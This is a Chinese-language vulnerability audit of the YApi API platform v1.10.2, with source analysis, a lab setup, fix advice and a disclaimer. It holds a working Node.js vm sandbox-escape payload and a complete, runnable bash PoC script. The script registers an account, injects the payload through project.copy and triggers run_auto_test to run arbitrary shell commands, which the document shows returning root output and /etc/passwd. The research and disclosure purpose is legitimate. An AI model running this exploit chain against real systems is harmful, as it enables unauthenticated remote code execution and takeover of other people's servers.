一、写在前面

YApi 是去哪儿网开源的 API 管理平台,国内中小团队装机量较大。本次审计起因是同事在排查某个内部 YApi 实例时随口提了句"它的脚本测试功能挺有意思",于是决定深入看看。

v1.10.2 之前 YApi 的服务端脚本执行没有总开关,再叠加一处对象级权限缺失,可以拼出一条无需任何预置账号的 RCE 链。

二、审计思路

  1. 攻击面测绘:定位无需认证即可访问的入口
  2. 危险 sink 搜索:eval / vm / child_process / Function 构造器
  3. 权限边界审计:检查每个写操作的对象级鉴权
  4. 攻击链拼接:把入口与 sink 连起来
  5. Docker 复现验证

下面按"入口 → 缺陷 → 触发"的顺序展开。

三、入口一:无需登录即可注册

/api/user/reg 处于 ignoreRouter 白名单中,调用时不需要先登录。这本身是设计意图(让用户能自助注册),但配合下面其他缺陷,构成了"无需任何预置账号"的攻击链。

// server/controllers/base.js
let ignoreRouter = [
  '/api/user/login_by_token',
  '/api/user/login',
  '/api/user/reg',     // ← 在白名单中
  '/api/user/status',
  '/api/user/logout',
  '/api/user/avatar',
  '/api/user/login_by_ldap'
];
if (ignoreRouter.indexOf(ctx.path) > -1) {
  this.$auth = true;  // 标记为已认证,直接放行
  return;
}

注册请求示例:

POST /api/user/reg HTTP/1.1
Content-Type: application/json

{"email":"attacker@evil.com","password":"Pass1234!","username":"attacker"}

注册是否开放需要探活确认。/api/user/status 这个接口虽然在白名单里(不会返回 401),但默认情况下仍要求登录才能拿到用户信息:

$ curl http://target/api/user/status
{"errcode":40011,"errmsg":"请登录...","data":null,"ladp":false,"canRegister":true}
#                                              ^^^^^^^^^^^^^^^^^^^^^^^^
#                                              即使未登录,也能从响应里读出 canRegister
#                                              关键:canRegister=true 表明允许注册

YApi 默认配置中 closeRegister: false,因此绝大多数公网实例都满足前置条件。

四、入口二:凭 token 触发的 open API

部分接口支持项目级 token 鉴权,绕过用户登录态:

// server/controllers/base.js
let openApiRouter = [
  '/api/open/run_auto_test',   // ← 关键:自动化测试入口
  '/api/open/import_data',
  '/api/interface/add',
  '/api/col/add_case',
  '/api/project/up',
  // ...
];

if (openApiRouter.indexOf(ctx.path) > -1) {
  let token = ctx.query.token || ctx.request.body.token;
  if (token && (await this.getProjectIdByToken(token))) {
    this.$auth = true;  // ← 只验证 token 属于哪个项目,不验证用户
    return;
  }
}

这套设计的本意是给自动化测试场景用,但 /api/project/token 同样缺少对象级鉴权:

// server/controllers/project.js:1010
async token(ctx) {
  let project_id = ctx.params.project_id;
  let project = await this.Model.Project.findById(project_id);
  if (!project) return (ctx.body = yapi.commons.resReturn(null, 404, '项目不存在'));

  // 任何登录用户都能拿到任意项目的 token
  let tokenData = await this.Model.Token.find({project_id});
  return (ctx.body = yapi.commons.resReturn({ token: tokenData[0].token }, 0));
}

这意味着只要注册了账号,就能为自己造的项目生成 token,然后无需 cookie 触发 run_auto_test。

五、核心缺陷:project.copy 对象级权限缺失

真正能稳定写任意数据的入口在 project.copy()。源码如下:

// server/controllers/project.js:281 (v1.10.2 源码原文)
async copy(ctx) {
  let params = ctx.params;
  let copyId = params._id;

  if ((await this.checkAuth(params.group_id, 'group', 'edit')) !== true) {
    return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
  }

  let data = Object.assign(params, {
    uid: this.getUid(),
    add_time: yapi.commons.time(),
    up_time: yapi.commons.time(),
    _id: undefined
  });
  delete data._id;

  let result = await this.Model.save(data);
  return (ctx.body = yapi.commons.resReturn(result, 0));
}

逐点分析上面这段 19 行源码,可以看到 3 个问题共同导致了漏洞:

  1. 只校验目标 group,不校验源项目 — 第 7-9 行只检查了 params.group_id(目标)的 edit 权限,但 copyId(源项目)传的是任意项目 ID,服务端完全不验证调用者能否访问它。
  2. 未清理请求体中的脚本字段 — Object.assign(params, {...}) 把 ctx.params 原样塞进 data,而 params 里的 pre_script / after_script 直接进入落库数据。
  3. Model.save 不做字段白名单 — this.Model.save(data) 会把整个 data 对象写入 MongoDB,包括 pre_script / after_script 这两个危险字段。

copy 的 schema 显式接受脚本字段(更印证了"这是设计缺陷而非过滤遗漏"):

// server/controllers/project.js:67 (v1.10.2 源码原文)
copy: {
  '*name': name,
  basepath: basepath,
  '*group_id': group_id,
  _id: id,
  cat,
  pre_script: desc,
  after_script: desc,
  env
}

pre_script / after_script 直接出现在 schema 中,进一步说明服务端预期会接受这两个字段——但后端没有限制谁能写入它们。

复制自己的项目时,把 after_script 塞进 payload,服务端会原样写入数据库。

六、sink:v1.10.2 默认执行服务端脚本

run_auto_test 在测试用例执行时,会把项目的 pre_script / after_script 注入到 vm 沙箱中执行:

// server/controllers/open.js:190
async runAutoTest(ctx) {
  let projectData = await yapi.getProject(project_id);
  let cases = await this.Model.Case.find({ col_id: id });

  for (let item of cases) {
    // 注入项目的脚本
    item.pre_script   = projectData.pre_script;
    item.after_script = projectData.after_script;

    let options = { url: interfaceData.path, method: interfaceData.method };

    // 触发 crossRequest → sandbox() → vm.Script
    let res = await crossRequest(options, item.pre_script, item.after_script, item.env);

    // 结果回显到响应中
    list.push({
      id: interfaceData._id,
      res_body: res.responseData,   // ← 命令输出
      // ...
    });
  }
  return (ctx.body = yapi.commons.resReturn({...}));
}

crossRequest 中 v1.10.2 的执行路径没有总开关:

// common/postmanLib.js:280 (v1.10.2)
async function crossRequest(options, preScript, afterScript) {
  let context = {};
  context.request = options;
  context.responseData = {};

  // 【v1.10.2 缺陷】没有 scriptEnable 检查
  if (preScript)   context = await sandbox(context, preScript);
  /* 实际 HTTP 请求省略 */
  if (afterScript) context = await sandbox(context, afterScript);

  return context.responseData;
}

而 v1.11.0 修复后的版本加入了总开关:

// common/postmanLib.js (v1.11.0+)
let scriptEnable = false;
try { scriptEnable = yapi.WEBCONFIG.scriptEnable === true; } catch (err) {}
if (preScript   && scriptEnable) context = await sandbox(context, preScript);
if (afterScript && scriptEnable) context = await sandbox(context, afterScript);

七、Node.js vm 沙箱逃逸

crossRequest 调用的 sandbox() 直接用 vm 模块执行用户脚本:

// common/postmanLib.js:170
function sandbox(context, script) {
  try {
    if (!script) return context;
    const ctx = vm.createContext(context);
    new vm.Script(script).runInContext(ctx, { timeout: 5000 });
    return ctx;
  } catch (err) { return context; }
}

但 Node.js 官方明确说明 vm 不是安全沙箱:

"The vm module is not a security mechanism. Do not use it to run untrusted code."

vm.createContext 只是把传入的对象作为新上下文的全局对象,原型链仍指向宿主进程。可通过以下两步逃逸:

// 1. this → 上下文 → Object.prototype → 拿到 Function 构造器
var f = this.constructor.constructor;

// 2. Function("return process")() → 拿到宿主进程的 process 对象
var p = f("return process")();

// 3. 通过 process.mainModule.require 加载 child_process
p.mainModule.require("child_process").execSync("whoami");

完整 Payload(注入到 after_script):

try {
  var p = this.constructor.constructor("return process")();
  var r = p.mainModule.require("child_process").execSync("whoami").toString();
  responseData = { output: r };   // 写入 responseData 会回显
} catch(e) {
  responseData = { error: e.message };
}

八、完整攻击链

匿名注册 → 获取私有 group → 创建源项目
   → project.copy 注入 after_script
   → 添加接口 + 测试用例
   → 获取项目 token
   → run_auto_test 触发(无需 cookie)
   → vm 沙箱逃逸
   → OS RCE

数据流:

[攻击者]                          [YApi Server]
   │                                  │
   │ ① POST /api/user/reg             │
   │ ──────────────────────────────>  │ 自动登录,分配 group
   │                                  │
   │ ② POST /api/project/add          │
   │ ──────────────────────────────>  │ src_id = 23
   │                                  │
   │ ③ POST /api/project/copy         │
   │     { "_id": 23,                 │
   │       "after_script": vm逃逸代码  │
   │     }                             │
   │ ──────────────────────────────>  │ 【缺陷】不校验源项目权限
   │                                  │ 【缺陷】脚本直接落库
   │                                  │ rce_id = 29
   │                                  │
   │ ④ POST /api/interface/add        │
   │ ⑤ POST /api/col/add_case         │
   │ ⑥ GET  /api/project/token        │  ← 同样无对象级鉴权
   │ ──────────────────────────────>  │ token = 87062a9dfab6a8f6
   │                                  │
   │ ⑦ GET /api/open/run_auto_test    │
   │       ?id=20&project_id=29        │
   │       &token=87062a9dfab6a8f6     │
   │ ──────────────────────────────>  │ 【缺陷】仅 token 鉴权
   │                                  │ 读取 after_script
   │                                  │ 调 crossRequest → vm.Script
   │                                  │ 沙箱逃逸 → execSync
   │                                  │
   │ <─────────────────────────────  │  res_body.output = "root\n"
   │                                  │

九、PoC 脚本

完整可运行的 PoC(poc.sh):

#!/usr/bin/env bash
# YApi v1.10.2 未授权 RCE PoC
# 用法:bash poc.sh [target] [cmd]
#       bash poc.sh http://target:3000 "id && uname -a"

set -e
TARGET="${1:-http://127.0.0.1:3002}"
CMD="${2:-whoami}"
COOKIE="/tmp/yapi_$$"

# ① 匿名注册
USER="atk_$(date +%s)"
REG=$(curl -sS -c "$COOKIE" -X POST "$TARGET/api/user/reg" \
  -H "Content-Type: application/json" \
  -d "{\"email\":\"${USER}@e.com\",\"password\":\"Pass1234!\",\"username\":\"$USER\"}")
UID=$(echo "$REG" | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['uid'])")
echo "[+] uid=$UID"

# ② 拿私有 group
GID=$(curl -sS -b "$COOKIE" "$TARGET/api/group/get_mygroup" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['data'][0]['_id'])")
echo "[+] group_id=$GID"

# ③ 创建源项目
SRC_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/project/add" \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"src\",\"basepath\":\"/s\",\"group_id\":\"$GID\",\"project_type\":\"private\"}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
echo "[+] src_id=$SRC_ID"

# ④ project.copy 注入 vm 逃逸 payload
PAYLOAD='try{var p=this.constructor.constructor("return process")();var r=p.mainModule.require("child_process").execSync("'"$CMD"'").toString();responseData={"output":r}}catch(e){responseData={"error":e.message}}'

RCE_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/project/copy" \
  -H "Content-Type: application/json" \
  -d "{\"_id\":\"$SRC_ID\",\"name\":\"rce\",\"basepath\":\"/poc\",
       \"group_id\":\"$GID\",\"project_type\":\"private\",\"cat\":[],
       \"after_script\":\"$PAYLOAD\"}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
echo "[+] rce_id=$RCE_ID"

# ⑤ 加接口 + 测试集 + 用例
IFACE_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/interface/add" \
  -H "Content-Type: application/json" \
  -d "{\"project_id\":\"$RCE_ID\",\"title\":\"p\",\"path\":\"/p\",\"method\":\"GET\"}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")

COL_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/col/add" \
  -H "Content-Type: application/json" \
  -d "{\"project_id\":\"$RCE_ID\",\"name\":\"p\"}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")

curl -sS -b "$COOKIE" -X POST "$TARGET/api/col/add_case" \
  -H "Content-Type: application/json" \
  -d "{\"col_id\":\"$COL_ID\",\"interface_id\":\"$IFACE_ID\",\"name\":\"p\",\"code\":\"200\"}" >/dev/null

# ⑥ 拿项目 token(同样无对象级鉴权)
TOKEN=$(curl -sS -b "$COOKIE" "$TARGET/api/project/token?project_id=$RCE_ID" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['token'])")
echo "[+] token=${TOKEN:0:16}..."

# ⑦ 触发 run_auto_test(无需 cookie)
RES=$(curl -sS "$TARGET/api/open/run_auto_test?id=$COL_ID&project_id=$RCE_ID&token=$TOKEN&mode=json")
OUT=$(echo "$RES" | python3 -c "
import sys,json
try:
  d=json.load(sys.stdin)
  b=d['data']['list'][0]['res_body']
  if isinstance(b,str): b=json.loads(b)
  print(b.get('output',b.get('error','(no output)')))
except Exception as e: print('parse error:',e)")

echo "[+] command: $CMD"
echo "[+] output:  $OUT"
rm -f "$COOKIE"

十、环境搭建

docker/ 目录提供了一键复现环境:

docker/
├── docker-compose.yml
├── Dockerfile
├── config.json
└── entrypoint.sh

docker-compose.yml:

version: '3.8'
services:
  mongo:
    image: mongo:4.4
    restart: unless-stopped
    volumes:
      - mongo_data:/data/db
  yapi:
    build: .
    restart: unless-stopped
    ports:
      - "3002:3002"
    depends_on:
      - mongo
volumes:
  mongo_data:

Dockerfile:

FROM node:12-buster
WORKDIR /yapi
RUN git clone --depth 1 --branch v1.10.2 https://github.com/YMFE/yapi.git . \
    && npm install --production --no-package-lock --ignore-scripts \
       --registry https://registry.npmjs.org \
    && rm -rf /root/.npm /tmp/*
COPY config.json /config.json
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 3002
ENTRYPOINT ["/entrypoint.sh"]

config.json(保持默认 closeRegister: false):

{
  "port": "3002",
  "adminAccount": "admin@admin.com",
  "timeout": 120000,
  "closeRegister": false,
  "db": { "servername": "mongo", "DATABASE": "yapi", "port": 27017, "authSource": "" },
  "mail": { "enable": false }
}

启动:

cd docker
docker compose up -d --build
# 等待约 2 分钟完成初始化
curl http://127.0.0.1:3002/api/user/status
# {"errcode":40011,"errmsg":"请登录...","data":null,"ladp":false,"canRegister":true}

十一、复现验证

执行 whoami:

$ bash poc.sh http://127.0.0.1:3002 whoami
[+] uid=18
[+] group_id=11
[+] src_id=11
[+] rce_id=17
[+] token=ca015d70fafc0aad...
[+] command: whoami
[+] output:  root

执行 id && uname -a:

$ bash poc.sh http://127.0.0.1:3002 "id && uname -a"
[+] command: id && uname -a
[+] output:  uid=0(root) gid=0(root) groups=0(root)
            Linux 0a68349fcb29 6.6.87.2-microsoft-standard-WSL2 #1 SMP ...

读取 /etc/passwd:

$ bash poc.sh http://127.0.0.1:3002 "cat /etc/passwd | head -3"
[+] command: cat /etc/passwd | head -3
[+] output:  root:x:0:0:root:/root:/bin/bash
            daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
            bin:x:2:2:bin:/bin:/usr/sbin/nologin

三次验证均以 Node 进程权限(本例中为 root)执行,证明可执行任意系统命令并获取输出。

十二、漏洞根因汇总

#

缺陷

位置

类型

1

project.copy 不校验源项目权限且接受脚本字段

server/controllers/project.js:281

CWE-862 Missing Authorization

2

/api/project/token 缺少对象级鉴权

server/controllers/project.js:1010

CWE-862 Missing Authorization

3

v1.10.2 默认执行 pre_script / after_script

common/postmanLib.js:280

CWE-94 Code Injection

4

Node.js vm 模块非安全沙箱

common/postmanLib.js:170

CWE-265 Privilege Issues

十三、修复建议

1. project.copy 加源项目权限校验(紧急)

// server/controllers/project.js copy() 中添加
if ((await this.checkAuth(copyId, 'project', 'view')) !== true) {
  return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}

2. project.copy 拒绝请求体中的脚本字段

delete params.pre_script;
delete params.after_script;
delete params.project_mock_script;

3. /api/project/token 加对象级权限

if ((await this.checkAuth(project_id, 'project', 'view')) !== true) {
  return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}

4. 脚本执行加总开关并默认关闭

v1.11.0 已加入 scriptEnable,建议回移到所有维护版本,默认值 false。

5. 整体加固

  • 默认关闭注册:closeRegister: true
  • 用 vm2 或 isolated-vm 替代原生 vm
  • 以非 root 用户运行 Node.js 进程
  • 对所有 project/group 写操作做对象级鉴权审查

十四、时间线

时间

事件

2022-11-01

YApi v1.11.0 提交 59bade3 修复,加入 scriptEnable 开关

2026-06-04

本次审计发现完整未授权 RCE 链并本地验证

十五、参考

十六、免责声明

本文仅用于安全研究和技术交流,请勿用于未授权测试或攻击。未经授权对他人系统进行渗透测试属于违法行为。